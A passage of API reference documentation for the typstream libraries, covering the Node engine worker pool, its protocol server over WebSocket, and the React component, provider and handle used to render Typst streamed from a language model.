| `diagnostics` | `Diagnostic[]` | What validate reported for `source`, lint findings included.                             |
| `ok`          | `boolean`      | No errors; with `strict`, no warnings either. The loop stops at the first such attempt.  |

### createEngine

```ts
const createEngine: (options?: EngineOptions) => NodeEngine;
```

Creates an engine: a pool of worker threads, each running engine-wasm and compiling one document at a time. Create one
per process and share it; pass it as `engine` to the calls above. Nothing starts until the first compile. Then the wasm
module is compiled once, fonts are loaded, and workers start as needed. Workers keep Typst's caches warm between calls,
and idle workers don't keep the process alive.

```ts
import { createEngine, validate } from "@typstream/node";

const engine = createEngine({
  workers: 4, // most worker threads; default min(4, cores - 1)
  timeoutMs: 10_000, // watchdog per compile
  fontPaths: ["/srv/fonts/noto"], // more fonts, searched recursively (like typst --font-path)
});
await validate(source, { engine });
await engine.close();
```

### EngineOptions

How createEngine sizes its worker pool, budgets compiles, and which fonts it loads.

| Prop              | Type                                         | Description                                                                                                                                                                                                             |
| ----------------- | -------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `workers?`        | `number \| undefined`                        | Most worker threads to run at once, each compiling one document at a time. Default `min(4, cores - 1)`, at least 1.                                                                                                     |
| `timeoutMs?`      | `number \| undefined`                        | Default watchdog budget per compile, in milliseconds. A compile that takes longer is stopped by terminating its worker and reported as an error diagnostic with code `timeout`. Default 10,000 (PLAN §6.3, final mode). |
| `maxMemoryBytes?` | `number \| undefined`                        | Replace a worker once its wasm memory exceeds this many bytes (it never shrinks). Default 1 GiB.                                                                                                                        |
| `typstFonts?`     | `boolean \| undefined`                       | Load Typst's bundled fonts (Libertinus Serif, New Computer Modern, DejaVu Sans Mono). Default true.                                                                                                                     |
| `scriptFonts?`    | `boolean \| undefined`                       | Load engine-wasm's script fonts: Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari, regular and bold. Default true.                                                                                       |
| `fonts?`          | `Uint8Array<ArrayBufferLike>[] \| undefined` | Font files (TTF, OTF, TTC) as bytes.                                                                                                                                                                                    |
| `fontPaths?`      | `string[] \| undefined`                      | Directories searched recursively for font files, like `typst --font-path`.                                                                                                                                              |

### NodeEngine

Compiles Typst on worker threads. Create one per process and share it;
validate, render and createProtocolServer use a
default one when none is given. Idle workers don't keep the process alive.

| Prop      | Type                  | Description                                                                     |
| --------- | --------------------- | ------------------------------------------------------------------------------- |
| `workers` | `number`              | Workers currently running. They start on demand.                                |
| `close`   | `() => Promise<void>` | Stops every worker. Pending compiles fail; the engine can't be used afterwards. |

**Timeouts and crashes.** A compile over budget is stopped by terminating its worker, and the result is an error
diagnostic with `source: "typstream"` and `code: "timeout"`. A document that exhausts wasm memory (allocations fail at
about 2 GiB in wasm32) comes back as `code: "engine-crashed"`. Either way the worker is replaced and the process is
unaffected. That's why typstream runs Typst as wasm rather than as a native addon, whose compiles can't be interrupted.
A worker whose memory grows past `maxMemoryBytes` is replaced too, since wasm memory never shrinks.

```ts
const { diagnostics } = await validate(source, { timeoutMs: 2_000 });
if (diagnostics.some((d) => d.code === "timeout")) {
  // a loop that never ends, or a document far larger than usual
}
```

**Fonts.** By default the engine loads Typst's bundled fonts (Libertinus Serif, New Computer Modern and DejaVu Sans
Mono, the set `typst compile --ignore-system-fonts` uses) and engine-wasm's script fonts (Noto Naskh Arabic, Noto Serif
Bengali and Noto Serif Devanagari, regular and bold). Unlike the browser, which downloads script fonts when a document
first needs them, the server loads them up front. Add your own with `fonts` (bytes) or `fontPaths` (directories). See
[Fonts and languages](/docs/guides/fonts-and-languages).

### FontOptions

Which fonts the server engine loads, once, on its first compile: Typst's
bundled set and engine-wasm's script fonts by default, plus any you add.
Documents see only these; system fonts aren't searched.

| Prop           | Type                                         | Description                                                                                                                       |
| -------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| `typstFonts?`  | `boolean \| undefined`                       | Load Typst's bundled fonts (Libertinus Serif, New Computer Modern, DejaVu Sans Mono). Default true.                               |
| `scriptFonts?` | `boolean \| undefined`                       | Load engine-wasm's script fonts: Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari, regular and bold. Default true. |
| `fonts?`       | `Uint8Array<ArrayBufferLike>[] \| undefined` | Font files (TTF, OTF, TTC) as bytes.                                                                                              |
| `fontPaths?`   | `string[] \| undefined`                      | Directories searched recursively for font files, like `typst --font-path`.                                                        |

### defaultEngine

```ts
const defaultEngine: () => NodeEngine;
```

The engine `validate`, `render`, `fixLoop` and `createProtocolServer` use when you don't pass one. It is created on
first use with default options.

### createProtocolServer

```ts
const createProtocolServer: (options?: ProtocolServerOptions) => ProtocolServer;
```

Serves typstream's engine protocol (the one `@typstream/core` defines and the browser worker speaks) from Node, so a
browser can render through your server instead of downloading the engine. It is `@typstream/engine`'s own server code,
over an adapter that compiles on this package's worker pool. [Remote engine](/docs/guides/remote-engine) shows the
client side.

```ts
import { WebSocketServer } from "ws";
import { createProtocolServer, handleWebSocket } from "@typstream/node";

const server = createProtocolServer({ timeouts: { streaming: 3_000, final: 10_000 }, maxDocuments: 32 });
new WebSocketServer({ port: 8080, maxPayload: 8 << 20 }).on("connection", (ws) => handleWebSocket(ws, server));
```

- **Sessions.** Each connection is a session with its own documents. Closing it cancels its queued requests and frees
  its documents.
- **What it offers.** The HTML and paged targets (paged with changed-page updates), and PDF and HTML exports. No
  `resolve/*` requests.
- **Untrusted clients.** Messages are checked before the server reads them; malformed requests, too many documents or
  too long a text get an `invalid-params` error. Clients can't make the server fetch packages or load fixer modules, and
  the fonts and packages a client sends in `initialize` or `document/open` are ignored: the server uses its engine's
  fonts.
- **Watchdog.** Documents live on the main thread and workers only compile, so a watchdog kill costs one compile, not
  the session.

### ProtocolServerOptions

Limits and identity for createProtocolServer; every connection gets the same.

| Prop             | Type                                                   | Description                                                                                                           |
| ---------------- | ------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `engine?`        | `NodeEngine \| undefined`                              | Default: defaultEngine.                                                                                               |
| `timeouts?`      | `{ streaming?: number; final?: number; } \| undefined` | Watchdog budget per compile by `mode`, in ms; exports are `final`. Default 3,000 streaming, 10,000 final (PLAN §6.3). |
| `maxDocuments?`  | `number \| undefined`                                  | Open documents per connection. Default 32.                                                                            |
| `maxTextLength?` | `number \| undefined`                                  | Longest `/main.typ` (preamble and text), in UTF-16 code units. Default 1,000,000 (PLAN §9).                           |
| `serverInfo?`    | `{ name?: string; version?: string; } \| undefined`    | Reported in `initialize`'s `serverInfo`.                                                                              |

### ProtocolServer

The engine protocol served from Node: one session per client connection.

| Prop      | Type                                                             | Description                                                                |
| --------- | ---------------------------------------------------------------- | -------------------------------------------------------------------------- |
| `connect` | `(send: (message: ServerMessage) => void) => ProtocolConnection` | Starts a session; `send` delivers server messages to the client, in order. |

### ProtocolConnection

One client's session.

| Prop      | Type                         | Description                                                                                              |
| --------- | ---------------------------- | -------------------------------------------------------------------------------------------------------- |
| `receive` | `(message: unknown) => void` | Handles a message from the client. Malformed messages are answered (requests) or logged (notifications). |
| `close`   | `() => void`                 | The client went away: drops its queued requests and documents; nothing more is sent.                     |

To serve the protocol over another transport, call `server.connect(send)` yourself and feed each client message to the
connection's `receive`.

### handleWebSocket

```ts
const handleWebSocket: (socket: WebSocketLike, server: ProtocolServer) => ProtocolConnection;
```

Serves one WebSocket. Each text message is a client message in the protocol's wire format: JSON, with bytes as
`{ "$bytes": "<base64>" }` (`serializeMessage` and `deserializeMessage` from `@typstream/core` read and write it).
Replies go back the same way, and the connection closes with the socket. `ws`'s `WebSocket` fits `WebSocketLike`, and
so does anything with the same `on`, `send` and `close`. Cap message sizes on the socket server (`ws`'s `maxPayload`).

### WebSocketLike

The parts of a WebSocket handleWebSocket uses; `ws`'s `WebSocket`
fits, and so does anything with the same `on` / `send` / `close`.

| Prop    | Type                                                               | Description                                                                                           |
| ------- | ------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- |
| `send`  | `(data: string) => void`                                           | Sends one text message: a server message in core's wire format.                                       |
| `close` | `(code?: number, reason?: string) => void`                         | Closes the socket with a WebSocket close code and reason.                                             |
| `on`    | `(event: string, listener: (...args: never[]) => void) => unknown` | Subscribes to `"message"` (a text frame: string, `Buffer`, `ArrayBuffer` or fragments) and `"close"`. |

## See also

- [Getting started on Node](/docs/getting-started/node): a first validate-and-render script.
- [Server fix loop](/docs/guides/server-fix-loop): validate, repair with a model, render.
- [Remote engine](/docs/guides/remote-engine): browsers that render through your server.
- [Security](/docs/guides/security): what documents can and can't reach.
- [@typstream/engine-wasm](/docs/reference/engine-wasm): the compiler this package runs.


# @typstream/react

> React bindings for typstream, with the Typstream component, TypstreamProvider for app-wide settings and the useTypstream() hook.

Source: https://typstream.vercel.app/docs/reference/react

`@typstream/react` renders Typst streamed from an LLM, live, in React. It is a thin layer over
[`@typstream/dom`](/docs/reference/dom)'s `mountTypstream`: the component owns a `<div>`, and everything inside it
belongs to the framework-free renderers, which React never touches. On top of that it adds app-wide settings
(`TypstreamProvider`), a hook to read a document's state (`useTypstream`), and one engine worker shared by the whole
page.

## When to use it

Most apps install [`typstream`](/docs/reference/typstream) instead, which is this package with html-compat, the math
font and the vendored Typst packages set up. Use `@typstream/react` directly when you want to pick every plugin
yourself. Without React, use [`@typstream/dom`](/docs/reference/dom).

## Install

```npm
npm install @typstream/react
```

React 19 is a peer dependency (`react@^19`). The bundle is marked `"use client"`, so it works in Next.js's App Router.

## Example

```tsx title="Answer.tsx"
"use client";
import { Typstream, useTypstream } from "@typstream/react";

export function Answer({ text, streaming }: { text: string; streaming: boolean }) {
  const t = useTypstream();
  return (
    <article>
      <Typstream ref={t.ref} source={text} isStreaming={streaming} animated caret />
      <footer>
        {t.status}
        {streaming && t.openFrames[0] ? ` · writing a ${t.openFrames[0].frame}…` : ""}
      </footer>
    </article>
  );
}
```

## Behaviour

- **One worker, many documents.** Instances without an `engine` share one engine for the page. It is created on first
  use and terminated one second after the last instance (or provider) unmounts, so it survives StrictMode's remount
  and answers replacing each other. Compiles run one at a time across all its documents.
- **Only visible or streaming documents compile.** A document opens when its element comes within one screen of the
  viewport, or as soon as it streams. Offscreen, finished documents apply prop changes when they scroll back.
  `lazy={false}` opens the document right away.
- **StrictMode-safe.** The mount follows the component's lifetime: StrictMode's second mount opens a fresh document
  and the first is disposed. Unmounting disposes the document.
- **Server rendering.** On the server the component renders an empty `<div>` and starts in the browser.
- **Props apply in place.** Every render passes the latest props to the mount, which acts only on what changed.
  Inline objects (`inputs={{ showAnswers: "true" }}`) are compared by value, so they don't reopen the document on
  every render. Changing the engine, `preamble`, `template`, `plugins`, `heal` or `schedule`, or switching to or from the
  reflow layout, opens a new document, and the
  old output stays until its first compile.
- **The host element** is a `<div class="typstream-host">`, plus your `className`.

## API

### `Typstream`

```ts
const Typstream: (props: TypstreamProps) => JSX.Element;
```

Renders a streaming Typst document. Heals each prefix, compiles it in the engine's worker and shows HTML (default) or
SVG pages, keeping the last good output while a prefix doesn't compile.

The document is either `source`, its whole text so far (as streamdown takes it), or `stream`, an
`AsyncIterable<string>` of chunks. Create a stream once (for example in `useMemo`): a new stream starts the document
over. A stream is read once, however many instances are given it, and each shows all of its text, so StrictMode's
remount loses nothing.

- `isStreaming` says more `source` is coming. When it turns false, the document is finished: compiled strictly (final
  mode), without the caret. Turning it true again starts over, as for a regenerated answer. With `stream` it is
  ignored; the document finishes when the stream ends.
- `target` switches between `"html"` and `"paged"` in place; the old output stays until the new target's first
  compile.
- `inputs` sets `sys.inputs`, for example `{ showAnswers: "true" }` to recompile with an answer key instead of asking
  the model again.

```tsx
<Typstream
  source={text}
  isStreaming={streaming}
  target="paged"
  layout="fit-width"
  inputs={{ showAnswers: String(showAnswers) }}
  onStatusChange={(status) => console.log(status)}
/>
```

### `TypstreamProps`

Unset settings come from the nearest `TypstreamProvider`, then the defaults.

### TypstreamProps

Props of Typstream: the document (`source` or `stream`), how to
compile and show it, and callbacks. Unset settings come from the nearest
TypstreamProvider, then the defaults.

| Prop              | Type                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ----------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `engine?`         | `Engine \| undefined`                                                      | The engine every `<Typstream>` below compiles with, unless it is given its own. Default: one engine worker for the page, shared by all instances.                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `mathFont?`       | `string \| URL \| undefined`                                               | URL of the math font for MathML (HTML target), registered as a web font when a document first renders. The engine's copy is in `@typstream/engine-wasm/fonts`; the `typstream` package sets it for you.                                                                                                                                                                                                                                                                                                                                                                                          |
| `ref?`            | `Ref<TypstreamHandle> \| undefined`                                        | Receives the instance's TypstreamHandle, e.g. `useTypstream().ref`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `className?`      | `string \| undefined`                                                      | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `style?`          | `CSSProperties \| undefined`                                               | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `id?`             | `string \| undefined`                                                      | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `source?`         | `string \| undefined`                                                      | The document so far: its whole text, growing while it streams.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `stream?`         | `AsyncIterable<string> \| null \| undefined`                               | Chunks to read instead of `source`. The document starts over when a new stream is given, and is complete when the stream ends. A stream is read once, however many mounts are given it: each shows all of its text, including what arrived before it mounted, so a mount replaced while the stream continues (React StrictMode mounts twice) loses nothing. The stream is closed (`return()`) when a chunk arrives after the last mount reading it was destroyed; a mount given it later shows what was read, as a finished document. To show an answer from the start again, pass a new stream. |
| `isStreaming?`    | `boolean \| undefined`                                                     | More `source` is coming. While false (default) the source is complete and compiles strictly (final mode); going back to true starts the document over.                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `streamingRange?` | `Range \| null \| undefined`                                               | While `isStreaming`: the part of `source` being written, in `source`'s offsets, such as a model rewriting one question of a finished document (PLAN §5.2). Only it heals as text being typed; the rest is settled and shows as it did. A finished document given a range streams again without starting over, and finishes when `isStreaming` turns false. Keep it block-aligned, as `EngineDocument.setStreamingRange` says. Ignored with `stream`.                                                                                                                                             |
| `target?`         | `CompileTarget \| undefined`                                               | Default `html`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `layout?`         | `"fit-width" \| "fixed" \| "reflow" \| undefined`                          | Paged target. `fixed` (default): the document's pages at their own size, scaled down to fit the element. `fit-width`: the same pages scaled up or down to the element's width; both show the pages the PDF has. `reflow`: the document laid out again on pages as wide as the element, so lines and pages break elsewhere than in the PDF (for narrow panels).                                                                                                                                                                                                                                   |
| `pageHeight?`     | `"a4" \| "auto" \| undefined`                                              | Paged `reflow` layout: `a4` proportions (default) or one page as tall as the content (`auto`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `preamble?`       | `string \| undefined`                                                      | Typst evaluated before the document, after the plugins' and the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `template?`       | `string \| undefined`                                                      | Name of a template from the plugins' `templates` (the last plugin's, if two have one by that name): its preamble and default inputs apply.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `inputs?`         | `Record<string, string> \| undefined`                                      | `sys.inputs`, over the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `files?`          | `FileDelta \| undefined`                                                   | Files the document reads (images, data), relative to its root.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `resolveImage?`   | `ImageResolver \| undefined`                                               | Gives the bytes of images the document names but `files` doesn't have, such as URLs a model wrote (`fetchImages({ hosts })` from `@typstream/engine/images` downloads those). Without it nothing is fetched, and such images show as placeholders. The latest one is called, so it may change between updates; adding or removing it reopens the document.                                                                                                                                                                                                                                       |
| `heal?`           | `HealOptions \| undefined`                                                 | Healing options; plugins' heal handlers and lint settings are added to them.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `schedule?`       | `Partial<ScheduleOptions> \| undefined`                                    | Overrides the engine's compile schedule for this document.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined`                                  | Plugins (PLAN §8.0): their engine files, packages, preambles and fixer modules, heal handlers and lint settings, templates, sanitizer allowances and stylesheets. A key given twice is loaded once, as its last definition; plugins load after their dependencies, which must be among them. Fonts load only from the engine's own plugins (`createEngine`); the families font catalogues load (`engine.fontCatalogues`) show in the HTML target too.                                                                                                                                            |
| `stylesheets?`    | `readonly string[] \| undefined`                                           | More CSS for the HTML target, after the plugins'.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `animated?`       | `boolean \| AnimateOptions \| undefined`                                   | Fade in new words while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `caret?`          | `boolean \| undefined`                                                     | Show a caret after the last text while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `fonts?`          | `readonly TypstFont[] \| undefined`                                        | HTML target: Typst's fonts, registered as web fonts so the text is set as on the pages (`registerTypstFonts`). The `typstream` package passes the engine's.                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `theme?`          | `"auto" \| "dark" \| "light" \| undefined`                                 | HTML target: `auto` (default) follows the page's `color-scheme`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `linkTarget?`     | `string \| null \| undefined`                                              | `target` of external links; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `textLayer?`      | `boolean \| undefined`                                                     | Paged target: selectable text over the pages. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `renderer?`       | `"canvas" \| "svg" \| undefined`                                           | Paged target: `canvas` (default) paints pages the engine sends as drawings, a millisecond or two per streamed update; `svg` puts every page's SVG in the DOM (12–31 ms per update for a dense page, #14). Pages the engine can't draw are SVG either way.                                                                                                                                                                                                                                                                                                                                        |
| `lazy?`           | `boolean \| undefined`                                                     | Open and compile the document only while the element is near the viewport or the document is streaming. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `onStatusChange?` | `((status: DocumentStatus, state: DocumentState) => void) \| undefined`    | The document's status changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `onDiagnostics?`  | `((diagnostics: Diagnostic[], state: DocumentState) => void) \| undefined` | A compile finished with new diagnostics (in input coordinates).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `onRendered?`     | `((event: RenderedEvent) => void) \| undefined`                            | An artifact was handed to the renderer: what its compile cost and took (heal patches, fixers, fallback level) and what drawing it cost. For telemetry (PLAN §8.6); the library sends nothing itself.                                                                                                                                                                                                                                                                                                                                                                                             |
| `onFallback?`     | `((event: FallbackEvent) => void) \| undefined`                            | A compile's output wasn't the document as it is: the last good render stayed, the tail showed as plain text, or blocks showed as error boxes. The event holds the input and healed source, to collect as a test case.                                                                                                                                                                                                                                                                                                                                                                            |
| `onWatchdog?`     | `((event: WatchdogEvent) => void) \| undefined`                            | A compile ran past the watchdog's budget or crashed the worker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `islands?`        | `Readonly<Record<string, IslandComponent<any>>> \| undefined`              | Interactive components by island name (PLAN §8.4), e.g. `@typstream/mindmap/react`'s `{ mindmap: MindMapIsland }`: a marker becomes an island when a plugin declares its name and a component is given for it. Providers' and the component's merge, the inner one winning by name.                                                                                                                                                                                                                                                                                                              |

`islands` (beta) maps island names to React components (`IslandComponents`, each an `IslandComponent`): a
[render island](/docs/guides/islands) mounts where a plugin's marker is, through a portal, so your context and
StrictMode reach it. `@typstream/mindmap/react`'s `mindmapIslands` is one.

Not available yet: a prop to turn off the engine's [fallback](/docs/concepts/fallback) (it is always on), and engine
options such as fonts or an adapter on the component. For those, create an engine with
[`createEngine`](/docs/reference/engine#createengine) and pass it as `engine`.

### `TypstreamHandle`

What a `<Typstream>`'s `ref` receives: the same object for the component's lifetime, for reading and exporting its
document from outside. `useTypstream()` wraps it and has the same exports; use the handle directly when you hold a
`ref` yourself, or need the raw `EngineDocument`.

### TypstreamHandle

A `<Typstream>` instance, for reading its document from outside (see
useTypstream). The same object for the component's lifetime.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `element`      | `HTMLElement \| null`                                       | The element the document renders into, while mounted.                                                                                                                                                                                                                                                                                                                                                                                              |
| `document`     | `EngineDocument \| null`                                    | The engine document, once it has opened (documents open lazily, near the viewport).                                                                                                                                                                                                                                                                                                                                                                |
| `getState`     | `() => DocumentState \| null`                               | The document's state; `null` before it opens.                                                                                                                                                                                                                                                                                                                                                                                                      |
| `subscribe`    | `(listener: () => void) => () => void`                      | Calls `listener` whenever `getState()` or `document` changes.                                                                                                                                                                                                                                                                                                                                                                                      |
| `exportPdf`    | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as PDF (#18), compiled by the engine that renders the preview. It compiles with the template's inputs, the `inputs` prop and `options.inputs` (a teacher's copy: `{ showAnswers: "true" }`), but not a `layout="reflow"` preview's page size, so it prints at the document's own size. Opens a lazy document that hasn't opened yet. Rejects with the engine's `ExportError`, or an `Error` when the component isn't mounted. |
| `exportHtml`   | `(options?: TypstreamHtmlExportOptions) => Promise<string>` | Exports the document as an HTML file that opens on its own, laid out as the pages (see `standalonePages` in `@typstream/dom`; `pages: false` for `standaloneHtml`'s reading layout), with the component's plugins, `stylesheets`, `theme` and Typst fonts. `options` add to or override them (a `mathFont`, a `title`). Otherwise as TypstreamHandle.exportPdf, `options.inputs` included.                                                         |
| `exportDocx`   | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as an editable DOCX file that Word lays out as the PDF (#131). Otherwise as TypstreamHandle.exportPdf, `options.inputs` included.                                                                                                                                                                                                                                                                                             |
| `exportSource` | `() => string`                                              | The source the exports compile: the healed input, as a `.typ` file would hold it. Opens a lazy document that hasn't opened yet. Throws when the component isn't mounted.                                                                                                                                                                                                                                                                           |

```tsx
const ref = useRef<TypstreamHandle>(null);
// …
const pdf = await ref.current?.exportPdf();
const teacher = await ref.current?.exportPdf({ inputs: { showAnswers: "true" } });
```

The exports compile in final mode with the template's inputs, the `inputs` prop and the export's own `inputs`, but
not the reflow layout's page size, so a PDF comes out at the document's own size. An export opens a document that
hasn't opened yet (documents open lazily, near the viewport; `document` is `null` until then). Before the component
mounts and after it unmounts, the exports reject (`exportSource()` throws) with "`<Typstream>` isn't mounted". Export
errors reject with the engine's [`ExportError`](/docs/reference/engine#exporterror). See
[Exports](/docs/guides/exports).

### `TypstreamProvider`

```ts
const TypstreamProvider: (props: TypstreamProviderProps) => JSX.Element;
```

App-wide settings for every `<Typstream>` below it: the same props as the component, except the document (`source`,
`stream`, `isStreaming`) and `onStatusChange`.

```tsx
import { edu } from "@typstream/edu";
import { TypstreamProvider } from "@typstream/react";

<TypstreamProvider plugins={[edu]} theme="dark" heal={{ lint: { "currency-dollar": "warn" } }}>
  <App />
</TypstreamProvider>;
```

Settings merge from the outside in: library defaults, then each provider, then the component's own props.

| Setting | How it merges |
| --- | --- |
| `plugins`, `stylesheets` | Lists add up, outer first. A plugin key given at two levels is applied once, as the innermost definition. |
| `inputs`, `files` | Records merge; inner keys win. |
| `onRendered`, `onFallback`, `onWatchdog`, `onDiagnostics` | All are called, outer ones first. |
| Everything else | The innermost value that is set wins. |

Without an `engine`, the provider keeps the page's shared engine alive while it is mounted, so the worker survives
documents coming and going (a chat switching conversations). A provider is also the place to wire every document to
a log or analytics sink once; see [Telemetry](/docs/guides/telemetry).

### `TypstreamProviderProps`

### TypstreamProviderProps

Props of TypstreamProvider.

| Prop             | Type                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| ---------------- | -------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `children?`      | `ReactNode`                                                                | The app, or the part of it these settings apply to.                                                                                                                                                                                                                                                                                                                                                                                                   |
| `target?`        | `CompileTarget \| undefined`                                               | Default `html`.                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `layout?`        | `"fit-width" \| "fixed" \| "reflow" \| undefined`                          | Paged target. `fixed` (default): the document's pages at their own size, scaled down to fit the element. `fit-width`: the same pages scaled up or down to the element's width; both show the pages the PDF has. `reflow`: the document laid out again on pages as wide as the element, so lines and pages break elsewhere than in the PDF (for narrow panels).                                                                                        |
| `pageHeight?`    | `"a4" \| "auto" \| undefined`                                              | Paged `reflow` layout: `a4` proportions (default) or one page as tall as the content (`auto`).                                                                                                                                                                                                                                                                                                                                                        |
| `preamble?`      | `string \| undefined`                                                      | Typst evaluated before the document, after the plugins' and the template's.                                                                                                                                                                                                                                                                                                                                                                           |
| `template?`      | `string \| undefined`                                                      | Name of a template from the plugins' `templates` (the last plugin's, if two have one by that name): its preamble and default inputs apply.                                                                                                                                                                                                                                                                                                            |
| `inputs?`        | `Record<string, string> \| undefined`                                      | `sys.inputs`, over the template's.                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `files?`         | `FileDelta \| undefined`                                                   | Files the document reads (images, data), relative to its root.                                                                                                                                                                                                                                                                                                                                                                                        |
| `resolveImage?`  | `ImageResolver \| undefined`                                               | Gives the bytes of images the document names but `files` doesn't have, such as URLs a model wrote (`fetchImages({ hosts })` from `@typstream/engine/images` downloads those). Without it nothing is fetched, and such images show as placeholders. The latest one is called, so it may change between updates; adding or removing it reopens the document.                                                                                            |
| `heal?`          | `HealOptions \| undefined`                                                 | Healing options; plugins' heal handlers and lint settings are added to them.                                                                                                                                                                                                                                                                                                                                                                          |
| `schedule?`      | `Partial<ScheduleOptions> \| undefined`                                    | Overrides the engine's compile schedule for this document.                                                                                                                                                                                                                                                                                                                                                                                            |
| `plugins?`       | `readonly TypstreamPlugin[] \| undefined`                                  | Plugins (PLAN §8.0): their engine files, packages, preambles and fixer modules, heal handlers and lint settings, templates, sanitizer allowances and stylesheets. A key given twice is loaded once, as its last definition; plugins load after their dependencies, which must be among them. Fonts load only from the engine's own plugins (`createEngine`); the families font catalogues load (`engine.fontCatalogues`) show in the HTML target too. |
| `stylesheets?`   | `readonly string[] \| undefined`                                           | More CSS for the HTML target, after the plugins'.                                                                                                                                                                                                                                                                                                                                                                                                     |
| `animated?`      | `boolean \| AnimateOptions \| undefined`                                   | Fade in new words while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                       |
| `caret?`         | `boolean \| undefined`                                                     | Show a caret after the last text while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                        |
| `fonts?`         | `readonly TypstFont[] \| undefined`                                        | HTML target: Typst's fonts, registered as web fonts so the text is set as on the pages (`registerTypstFonts`). The `typstream` package passes the engine's.                                                                                                                                                                                                                                                                                           |
| `theme?`         | `"auto" \| "dark" \| "light" \| undefined`                                 | HTML target: `auto` (default) follows the page's `color-scheme`.                                                                                                                                                                                                                                                                                                                                                                                      |
| `linkTarget?`    | `string \| null \| undefined`                                              | `target` of external links; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                      |
| `textLayer?`     | `boolean \| undefined`                                                     | Paged target: selectable text over the pages. Default true.                                                                                                                                                                                                                                                                                                                                                                                           |
| `renderer?`      | `"canvas" \| "svg" \| undefined`                                           | Paged target: `canvas` (default) paints pages the engine sends as drawings, a millisecond or two per streamed update; `svg` puts every page's SVG in the DOM (12–31 ms per update for a dense page, #14). Pages the engine can't draw are SVG either way.                                                                                                                                                                                             |
| `lazy?`          | `boolean \| undefined`                                                     | Open and compile the document only while the element is near the viewport or the document is streaming. Default true.                                                                                                                                                                                                                                                                                                                                 |
| `onDiagnostics?` | `((diagnostics: Diagnostic[], state: DocumentState) => void) \| undefined` | A compile finished with new diagnostics (in input coordinates).                                                                                                                                                                                                                                                                                                                                                                                       |
| `onRendered?`    | `((event: RenderedEvent) => void) \| undefined`                            | An artifact was handed to the renderer: what its compile cost and took (heal patches, fixers, fallback level) and what drawing it cost. For telemetry (PLAN §8.6); the library sends nothing itself.                                                                                                                                                                                                                                                  |
| `onFallback?`    | `((event: FallbackEvent) => void) \| undefined`                            | A compile's output wasn't the document as it is: the last good render stayed, the tail showed as plain text, or blocks showed as error boxes. The event holds the input and healed source, to collect as a test case.                                                                                                                                                                                                                                 |
| `onWatchdog?`    | `((event: WatchdogEvent) => void) \| undefined`                            | A compile ran past the watchdog's budget or crashed the worker.                                                                                                                                                                                                                                                                                                                                                                                       |
| `engine?`        | `Engine \| undefined`                                                      | The engine every `<Typstream>` below compiles with, unless it is given its own. Default: one engine worker for the page, shared by all instances.                                                                                                                                                                                                                                                                                                     |
| `mathFont?`      | `string \| URL \| undefined`                                               | URL of the math font for MathML (HTML target), registered as a web font when a document first renders. The engine's copy is in `@typstream/engine-wasm/fonts`; the `typstream` package sets it for you.                                                                                                                                                                                                                                               |
